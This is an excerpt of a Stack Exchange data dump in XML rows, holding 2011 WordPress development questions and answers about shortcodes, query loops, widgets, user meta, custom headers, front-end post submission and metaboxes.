  <row Id="25458" PostTypeId="1" CreationDate="2011-08-09T19:01:24.820" Score="0" ViewCount="16" Body="&lt;p&gt;I've developed a small plugin for contact form. It's a very simple one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it in any post or page, I'm using a shortcode [contact-form]. Now, the problem is, when I put it in a page, and put some content before the shortcode, it gets displayed after my form but I want it before it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like say, &#xA;Please fill up this form.&lt;br&gt;&#xA;[contact-form]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;should display,&lt;br&gt;&#xA;Please fill up this form.&lt;br&gt;&#xA;name:&lt;br&gt;&#xA;age:&lt;br&gt;&#xA;etc etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it displays&lt;br&gt;&#xA;name:&lt;br&gt;&#xA;age:&lt;br&gt;&#xA;Please fill up this form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7767" LastActivityDate="2011-08-09T19:01:24.820" Title="Plugin Development : Problem when putting content from backend" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;page&gt;" CommentCount="2" />
  <row Id="25459" PostTypeId="1" CreationDate="2011-08-09T19:01:30.263" Score="0" ViewCount="26" Body="&lt;p&gt;I am looking for a wordpress plugin where when the user registers it creates their own profile where the user will have their own personal area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point to any?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, I've try to explain further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am writting a web application which I need to plug into wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visitors who are not logged in can use the app ... then if the user likes the application and what he/she has created, then they can register and save it and pay a monthly fee for using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="5591" LastEditorUserId="5591" LastEditorDisplayName="" LastEditDate="2011-08-09T22:57:12.140" LastActivityDate="2011-08-09T22:57:12.140" Title="Plugin Needed (User Register - have own profile)" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25460" PostTypeId="2" ParentId="25457" CreationDate="2011-08-09T19:08:02.137" Score="0" ViewCount="" Body="&lt;p&gt;You need a complete query loop that won't conflict with other loops:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $my_query = new WP_Query('showposts=2&amp;amp;cat=1,3'); ?&amp;gt;&#xA;&#xA;&amp;lt;?php while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php the_content(); ?&amp;gt; //optional, can also be the_excerpt&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-08-09T19:08:02.137" CommentCount="2" />
  <row Id="25461" PostTypeId="1" CreationDate="2011-08-09T19:13:13.703" Score="1" ViewCount="54" Body="&lt;p&gt;I have several custom widgets that are installed as part of my theme. I'd like to execute conditional code inside each widget's admin panel (not the public side, I'm just interested in the admin panel inside function form($intance)), depending on which sidebar the widget is inserted into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I obtain a reference to the current sidebar id which holds the widget, from within the widget's function form($instance) handler?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastEditorUserId="6620" LastEditorDisplayName="" LastEditDate="2011-08-10T14:03:47.907" LastActivityDate="2011-08-14T03:16:36.363" Title="How to determine the current widget's parent container (sidebar widget id)" Tags="&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="25462" PostTypeId="1" AcceptedAnswerId="25476" CreationDate="2011-08-09T19:29:45.253" Score="0" ViewCount="51" Body="&lt;p&gt;I've enabled the custom header image panel for my theme.. That all works fine, but it has a predetermined height. How can i make it dynamic? The width can be permanent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this code.&#xA;&lt;a href=&quot;http://www.wpbeginner.com/wp-themes/how-to-enable-custom-header-images-panel-in-wordpress-3-0/&quot; rel=&quot;nofollow&quot;&gt;http://www.wpbeginner.com/wp-themes/how-to-enable-custom-header-images-panel-in-wordpress-3-0/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'HEADER_IMAGE_WIDTH', apply_filters( 'yourtheme_header_image_width', 940 ) );&#xA;define( 'HEADER_IMAGE_HEIGHT', apply_filters( 'yourtheme_header_image_height',  198 ) );&#xA;&#xA;set_post_thumbnail_size( HEADER_IMAGE_WIDTH, HEADER_IMAGE_HEIGHT, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5778" LastEditorUserId="5778" LastEditorDisplayName="" LastEditDate="2011-08-09T20:43:23.073" LastActivityDate="2011-08-09T20:51:49.563" Title="Dynamic height in custom header image panel" Tags="&lt;header&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25463" PostTypeId="1" AcceptedAnswerId="25466" CreationDate="2011-08-09T19:33:59.460" Score="0" ViewCount="23" Body="&lt;p&gt;What I want to do is to create a simple front-end post submit form, for every different type of post I will include in my Wordpress app. For example there will be articles, events, quick messages and those types will have a different design/structure for a user to see.&#xA;Author will use those forms to post their content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, I can have a different template for those types with the &lt;code&gt;if in category&lt;/code&gt; function but I am interested in alternative solutions (maybe better). I know that there is &lt;code&gt;page_template&lt;/code&gt; to add in the array &lt;a href=&quot;http://wpengineer.com/1229/puplishing-extend-of-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/1229/puplishing-extend-of-wordpress/&lt;/a&gt; but is there anything else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I am having some difficulties to redirect or even echo the posted link (as below). For your concern, I can not echo the &lt;code&gt;$link&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_POST['submit'])){&#xA;&#xA;    global $user_ID;&#xA;&#xA;    $new_post = array(&#xA;        'post_title' =&amp;gt; $_POST['post_title'],&#xA;        'post_content' =&amp;gt; $_POST['post'],&#xA;        'post_status' =&amp;gt; 'publish',&#xA;        'post_date' =&amp;gt; date('Y-m-d H:i:s'),&#xA;        'post_author' =&amp;gt; $user_ID,&#xA;        'post_type' =&amp;gt; 'post',&#xA;        'post_category' =&amp;gt; array(0)&#xA;    );&#xA;&#xA;    wp_insert_post($new_post);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried this for redirect without luck&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pid = wp_insert_post($new_post);&#xA;$link = get_permalink( $pid );&#xA;echo $link;&#xA;wp_redirect( $link );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4448" LastEditorUserId="4448" LastEditorDisplayName="" LastEditDate="2011-08-09T20:35:45.280" LastActivityDate="2011-08-09T20:35:45.280" Title="How can I correctly redirect user to the submitted post and define a template for each new post in Wordpress?" Tags="&lt;page-template&gt;&lt;post-formats&gt;&lt;wp-insert-post&gt;" AnswerCount="1" />
  <row Id="25464" PostTypeId="2" ParentId="25453" CreationDate="2011-08-09T19:40:15.103" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;There are lots of examples to store the data in usermeta. But should&#xA;  this amount of data be stored in the usermeta table?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't see any reason why you should not use the default user meta data table, after-all that is what it is for, regardless of the amount of users/fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user meta function , such as &lt;code&gt;get user meta&lt;/code&gt; uses &lt;code&gt;get_metadata&lt;/code&gt; with the &lt;code&gt;$meta_type&lt;/code&gt; object set to user. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_metadata&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_metadata&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to mess around with new tables you can use the &lt;code&gt;$wpdb&lt;/code&gt; class and create a new one, this post covers how, &lt;a href=&quot;http://codex.wordpress.org/Creating_Tables_with_Plugins&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Creating_Tables_with_Plugins&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a plugin called Pods CMS that allows for the creation of custom database tables for content types, but unless you have a specific reason for doing so, just use the built in user meta tables.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-09T19:40:15.103" CommentCount="1" />
  <row Id="25465" PostTypeId="1" CreationDate="2011-08-09T20:09:23.847" Score="1" ViewCount="22" Body="&lt;p&gt;If anyone is familiar with the database structure of the &lt;a href=&quot;http://www.yarpp.org/&quot; rel=&quot;nofollow&quot;&gt;YARPP (Yet Another Related Posts) plugin&lt;/a&gt; you may have noticed that the plugin &quot;scores&quot; how relevant one post is to another, and stores these scores in a custom table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;Wordpress Network&lt;/a&gt; installed and am trying to accomplish a similar relevancy score, but rather than ranking how relevant one post is to another, I want to rank how relevant one &lt;strong&gt;network site&lt;/strong&gt; is to &lt;strong&gt;another network site&lt;/strong&gt;. To do this I am storing custom user meta with the following function, which is incremented on each page load:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function user_blogviews()   {       &#xA;    global $blog_id, $user_ID;&#xA;&#xA;    // UPDATE THE USER'S BLOG VIEWS&#xA;    if( true == is_user_logged_in() ) {&#xA;        $blog_var = &quot;_blog_&quot; . $blog_id;&#xA;&#xA;        $current_blogviews = (int) get_user_meta($user_ID, $blog_var, true) + 1;&#xA;        update_user_meta($user_ID, $blog_var, (int) $current_blogviews);&#xA;&#xA;    } &#xA;&#xA;}&#xA;add_action( 'wp_footer', 'user_blogviews' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above function increments a counter that tracks pageviews for a particular user on a particular network site. Each user has a unique user_meta for each network site. &lt;strong&gt;What I am hoping to accomplish is to use this usermeta to rank how relevant one network site is to another&lt;/strong&gt;. What I (think) I need to accomplish this for any given network site is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An array of users who have viewed this network site.&lt;/li&gt;&#xA;&lt;li&gt;An array of all other network sites these users have viewed.&lt;/li&gt;&#xA;&lt;li&gt;The sum of all users' viewcounts for each other network site, which will be used to rank how relevant these sites are to the current network site.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have spent two evenings trying out different variations on how to accomplish this, but with no luck. My latest (incomplete) attempt is shown below. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function please_work() {&#xA;&#xA;    global $user_ID, $wpdb;&#xA;&#xA;    // GET ALL OF MY NETWORK'S BLOG ID'S&#xA;    $blogids = $wpdb-&amp;gt;get_col($wpdb-&amp;gt;prepare(&quot;&#xA;        SELECT blog_id&#xA;        FROM $wpdb-&amp;gt;blogs&#xA;        WHERE site_id = %d&#xA;        AND deleted = 0&#xA;        AND spam = 0&quot;, $wpdb-&amp;gt;siteid));&#xA;&#xA;    // GET ALL USER_META OF THE FORM _blog_$blog_id&#xA;    $top_sites = $wpdb-&amp;gt;get_results(&quot;&#xA;            SELECT * FROM $wpdb-&amp;gt;usermeta&#xA;            WHERE meta_key LIKE '_blog_%'&#xA;        &quot;, ARRAY_A);&#xA;&#xA;    // GET ALL THE USERS WHO HAVE VIEWED A GIVEN SITE, AND STORE THAT IN A VARIABLE&#xA;    foreach($blogids as $blog_id) : $blog_val = &quot;_blog_$blog_id&quot;; &#xA;        foreach($top_sites as $key =&amp;gt; $value) :&#xA;&#xA;            if($blog_val === $value[&quot;meta_key&quot;]) {&#xA;                $users_subscribed[&quot;$blog_id&quot;][] .= $value[&quot;user_id&quot;];   &#xA;            }&#xA;&#xA;        endforeach;&#xA;    endforeach;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can get all the users that have viewed a given network site...but I'm not sure where to go from here in getting a sum of views for the other network sites they have also visited. If I could get that sum I would be capable of putting this into my own table...but the sum is where I'm stuck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for any help, and please let me know if I could explain this clearer.&lt;/p&gt;&#xA;" OwnerUserId="7772" LastActivityDate="2011-08-09T20:09:23.847" Title="Wordpress Network: Creating a YARPP-style &quot;Score&quot; table to score relevancy of Network Sites to one another" Tags="&lt;network&gt;&lt;usermeta&gt;" />
  <row Id="25466" PostTypeId="2" ParentId="25463" CreationDate="2011-08-09T20:09:27.543" Score="1" ViewCount="" Body="&lt;p&gt;you need to get the ID from &lt;code&gt;wp_insert_post&lt;/code&gt; and make sure you &lt;code&gt;exit&lt;/code&gt; or &lt;code&gt;die&lt;/code&gt; so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pid = wp_insert_post($new_post);&#xA;wp_redirect( get_permalink( $pid );&#xA;die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for the second part you can use the WordPress Template Hierarchy and simply name each one of your custom post type designs as &lt;code&gt;single-{post_type}.php&lt;/code&gt; for example if your post type is named event then name that file &lt;code&gt;single-event.php&lt;/code&gt; and WordPress will know to use that file for displaying all posts of event type.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-09T20:29:46.450" LastActivityDate="2011-08-09T20:29:46.450" CommentCount="5" />
  <row Id="25468" PostTypeId="2" ParentId="25459" CreationDate="2011-08-09T20:16:34.997" Score="0" ViewCount="" Body="&lt;p&gt;The user automatically gets a profile page, in the form of &lt;a href=&quot;http://example.com/author/user-name&quot; rel=&quot;nofollow&quot;&gt;http://example.com/author/user-name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user has no posts, most themes display the 404 template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's perfectly possible for a theme to customise the &lt;code&gt;author.php&lt;/code&gt; template to display more than just a list of posts by that user, even when the user doesn't have any posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not enough, just use &lt;a href=&quot;http://buddypress.org&quot; rel=&quot;nofollow&quot;&gt;BuddyPress&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-09T20:16:34.997" CommentCount="2" />
  <row Id="25469" PostTypeId="2" ParentId="25430" CreationDate="2011-08-09T20:21:01.627" Score="1" ViewCount="" Body="&lt;p&gt;I wouldn't call myself an expert so test what I'm offering, but you may try to add a hook when you publish the post that uses a preg_match (or similar function) to find those terms in the post content. Then, based on what you found you could add the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_post_terms&quot; rel=&quot;nofollow&quot;&gt;wp_set_post_terms&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7772" LastActivityDate="2011-08-09T20:21:01.627" />
  <row Id="25470" PostTypeId="2" ParentId="25453" CreationDate="2011-08-09T20:23:00.203" Score="2" ViewCount="" Body="&lt;p&gt;I have a Website (well a client of mine has it) which has just over 5000 users and for each user we store 9 different meta fields (rows) in the usermeta table and i really can't see any problems with that, i will add that 6 of these meta fields are actually arrays of data that hold from 4 to 13 different values (Integer, String and Boolean) so in most cases we only make one &lt;code&gt;get_user_meta()&lt;/code&gt; call for all needed values of that page. and the other 3 fields are fields that we need to query by so they can't be in an array. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So overall each user has 80-96 custom fields which are all stored in 9 rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now after that being said using a custom table &lt;strong&gt;will be faster&lt;/strong&gt; (simple fact) but is it worth the trouble?&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-09T20:23:00.203" />
  <row Id="25471" PostTypeId="1" AcceptedAnswerId="25484" CreationDate="2011-08-09T20:37:43.770" Score="0" ViewCount="20" Body="&lt;p&gt;The dropdown menu that Thesis creates is 99% fine, except that it's very unforgiving to users that don't master the use of mouse very easily - old people and people with average to bad vision. I would like to improve its usability using a bit of javascript, allowing the mouse to be a few pixels offside and still keep the submenu open. I tried this in my custom javascript file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var hoverConfig = {    &#xA;         over: function(e){&#xA;                e.preventDefault();&#xA;                $.log(&quot;launch menu&quot;);&#xA;                $('.sub-menu',$(this)).show();&#xA;        },  &#xA;        timeout: 500, // number = milliseconds delay before onMouseOut    &#xA;        out:  function(e){&#xA;                e.preventDefault();&#xA;                $.log(&quot;hide menu&quot;);&#xA;                $('.sub-menu',$(this)).hide();&#xA;        } &#xA;    };&#xA;&#xA;    $('.sub-menu').hide();&#xA;    $(&quot;#menu-main-menu&quot;).hoverIntent( hoverConfig );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Firebug logging shows that it works - the show and hide functions are called, but the CSS behaviour still triggers and i don't manage to cancel it so that the javascript behaviour takes the full control.&#xA;Any idea how i can do that?&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2011-08-09T22:31:35.473" Title="Improving the Thesis built-in dropdown menu via javascript" Tags="&lt;dropdown&gt;&lt;theme-thesis&gt;" AnswerCount="1" />
  <row Id="25472" PostTypeId="1" AcceptedAnswerId="25474" CreationDate="2011-08-09T20:39:35.140" Score="0" ViewCount="21" Body="&lt;p&gt;Imagine that a person has a few premium themes that they use for clients. In those premium themes are many different options that can be set. Is it possible to set the theme's options to the most common and preferred choices and then export those options for later importation into other fresh WordPress installs with the same theme? That way one is not merely pointing and clicking their way through the various options over and over again for each new install.&lt;/p&gt;&#xA;" OwnerUserId="7441" LastActivityDate="2011-08-09T20:46:43.660" Title="Where are a theme's options stored and can I export them to be imported into freshly installed themes?" Tags="&lt;theme-options&gt;&lt;configuration&gt;" AnswerCount="1" />
  <row Id="25473" PostTypeId="2" ParentId="25435" CreationDate="2011-08-09T20:40:04.263" Score="1" ViewCount="" Body="&lt;p&gt;So if i understand correctly you want to let the authors style their profile and save the data in a way that every visitor will see their saved style, kind of like twitter lets you style your own author page. If so then using cookies won't help you here since cookies are user specific and not saved on your server or in the database do you won't be able to generate the style the author has picked anywhere but on that authors browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you should do is save all of the style data as an array in the usermeta table using &lt;code&gt;add_user_meta()&lt;/code&gt; or &lt;code&gt;update_user_meta()&lt;/code&gt; and then on your author page call that array of data using &lt;code&gt;get_user_meta&lt;/code&gt; and generate the style the user has picked for his author page.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-09T20:40:04.263" CommentCount="3" />
  <row Id="25474" PostTypeId="2" ParentId="25472" CreationDate="2011-08-09T20:46:43.660" Score="1" ViewCount="" Body="&lt;p&gt;The answer is theme depended and since most premium themes have their own framework/options panels then its going to be hard to tell where are the options are saved but in most cases they are saved in the options table in the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the tricky part is to know what are the options names. You can look for them in the themes code either by searching for &lt;code&gt;add_option&lt;/code&gt; , &lt;code&gt;update_option&lt;/code&gt; and &lt;code&gt;register_settings&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-09T20:46:43.660" CommentCount="4" />
  <row Id="25476" PostTypeId="2" ParentId="25462" CreationDate="2011-08-09T20:51:49.563" Score="1" ViewCount="" Body="&lt;p&gt;Since you are using &lt;code&gt;apply_filters&lt;/code&gt; you can use &lt;code&gt;yourtheme_header_image_height&lt;/code&gt; filter  hook to change the height:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('yourtheme_header_image_height','dynamic_height');&#xA;function dynamic_height($height){&#xA;   $custom_height = get_option('dynamic_header_height);&#xA;   return $custom_height;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-09T20:51:49.563" />
  <row Id="25477" PostTypeId="2" ParentId="1027" CreationDate="2011-08-09T20:58:01.303" Score="1" ViewCount="" Body="&lt;p&gt;here's what fixed the error for me...apparently when I moved the .htaccess.txt file, I &lt;em&gt;did&lt;/em&gt; delete the &lt;strong&gt;.txt&lt;/strong&gt; extension, but somehow the &quot;.&quot; &lt;strong&gt;at the front of the file name&lt;/strong&gt; also got deleted so I wound up with just htaccess and no preceeding &quot;.&quot; at the front of the file name like it should have...so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is wrong obviously -----&gt; htaccess &amp;lt;--- no dot at beginning of file name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is correct -------&gt; .htaccess &amp;lt;----note the dot/decimal point at beginning of file name. Once I added the preceding dot, the warning message disappeared. Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="7775" LastActivityDate="2011-08-09T20:58:01.303" />
  <row Id="25478" PostTypeId="1" AcceptedAnswerId="25522" CreationDate="2011-08-09T21:10:35.993" Score="0" ViewCount="62" Body="&lt;p&gt;I am trying to create a custom post type with custom metabox array. How can I create this kind a automatic populating post type? I think I have to use two dimension array. But how can I automatically populate my data array? And how can I save this kind array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could some one point me to right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please take a look at the images.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/HQVYn.png&quot; alt=&quot;Img1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second img&#xA;&lt;img src=&quot;http://i.stack.imgur.com/WLwbH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code so far :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//add custom field - price&#xA;add_action(&quot;admin_init&quot;, &quot;price&quot;);&#xA;&#xA;function object_init(){&#xA;  add_meta_box(&quot;price_meta&quot;, &quot;Price fields :&quot;, &quot;object&quot;, &quot;price_meta&quot;, &quot;normal&quot;, &quot;low&quot;);&#xA;&#xA;}&#xA;&#xA;&#xA;function price_meta(){&#xA; global $post;&#xA;  $custom = get_post_custom($post-&amp;gt;ID);&#xA;  $price = $custom[&quot;price&quot;][0];&#xA;  ?&amp;gt;&#xA;&#xA;  &amp;lt;p style=&quot;float:left;&quot;&amp;gt;&amp;lt;label&amp;gt;Nr :&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;priceNr&quot; size=&quot;10&quot; value=&quot;&amp;lt;?php echo $price; ?&amp;gt;&quot;/&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p style=&quot;float:left;&quot;&amp;gt;&amp;lt;label&amp;gt;Description :&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;priceD&quot; size=&quot;50&quot; value=&quot;&amp;lt;?php echo $price; ?&amp;gt;&quot;/&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p style=&quot;float:left;&quot;&amp;gt;&amp;lt;label&amp;gt;Price :&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;price&quot; size=&quot;20&quot; value=&quot;&amp;lt;?php echo $price; ?&amp;gt;&quot;/&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;?php&#xA;}&#xA;//Save product price&#xA;add_action('save_post', 'save_detailss');&#xA;&#xA;function save_detailss(){ &#xA;global $post; &#xA;&#xA;$post_id = $post-&amp;gt;ID; &#xA;&#xA;// to prevent metadata or custom fields from disappearing... &#xA;if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;return $post_id; &#xA;&#xA;update_post_meta($post_id, &quot;price&quot;, $_POST[&quot;price&quot;]); &#xA;&#xA;}   &#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3820" LastEditorUserId="3820" LastEditorDisplayName="" LastEditDate="2011-08-10T06:01:01.377" LastActivityDate="2011-08-10T20:32:31.460" Title="Custom post type metabox array" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="25479" PostTypeId="2" ParentId="25461" CreationDate="2011-08-09T21:14:46.843" Score="1" ViewCount="" Body="&lt;p&gt;If your sidebar has a name, you can retrieve the sidebar name using &lt;code&gt;get_sidebar( $name )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;inside the widget itself, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_registered_widgets, $wp_registered_sidebars;&#xA;$sidebars_widgets = get_option('sidebars_widgets');&#xA;if($sidebars_widgets[&quot;sidebar-1&quot;]) echo 'hooray';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6851" LastEditorUserId="6851" LastEditorDisplayName="" LastEditDate="2011-08-14T03:16:36.363" LastActivityDate="2011-08-14T03:16:36.363" CommentCount="7" />
  <row Id="25480" PostTypeId="2" ParentId="25461" CreationDate="2011-08-09T21:26:09.207" Score="0" ViewCount="" Body="&lt;p&gt;If your widgets use the widget API you should have the following method in your widget class...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function widget($args, $instance){&#xA;    //output html here...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$args['id']&lt;/code&gt; will hold the id of the current sidebar.&lt;/p&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-09T21:26:09.207" CommentCount="2" />
  <row Id="25481" PostTypeId="2" ParentId="14801" CreationDate="2011-08-09T21:26:16.573" Score="1" ViewCount="" Body="&lt;p&gt;I personally think connecting to SOAP can be a pain, especially if the server is Java, but I did do it in a custom plugin I developed for a client.  Depending on your requirements you may not have to embed a special SOAP client since WordPress 3.2 dropped support for PHP 4 and PHP 5 has a built in SOAP client (search for SoapClient on php.net) Just make sure you make it clear in the documentation that it requires PHP 5.  If you would like to support older versions of PHP that's fine, but the only pitfall I see is conflicts with your library name.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance I want to use two plugins, one is a URL shortener and one is a twitter plugin.  Well, the shortener plugin also has some twitter functionality and they both include the same OAuth library.  Needless to say I'm getting errors now about redefining specific OAuth classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way around this eventually will be PHP namespaces, but since we're talking about supporting PHP 4 that's not going to work.  Your best bet will be to either rename the classes so that the library SoapClient for example is now MyPlugin_SoapClient and use that everywhere, or you might just want to wrap your include statements with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!class_exists('SoapClient')) { include 'inc/soapclient.php'; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that will hopefully solve any conflict problems.&lt;/p&gt;&#xA;" OwnerUserId="7776" LastActivityDate="2011-08-09T21:26:16.573" CommunityOwnedDate="2011-08-09T21:26:16.573" CommentCount="1" />
  <row Id="25482" PostTypeId="2" ParentId="25461" CreationDate="2011-08-09T22:02:42.623" Score="1" ViewCount="" Body="&lt;p&gt;I'm afraid there's no easy way of doing that as of WP 3.2. In general, the widgets admin screen isn't very extensible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll just have to make two widget classes and instruct users where to put each.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-09T22:02:42.623" CommentCount="1" />
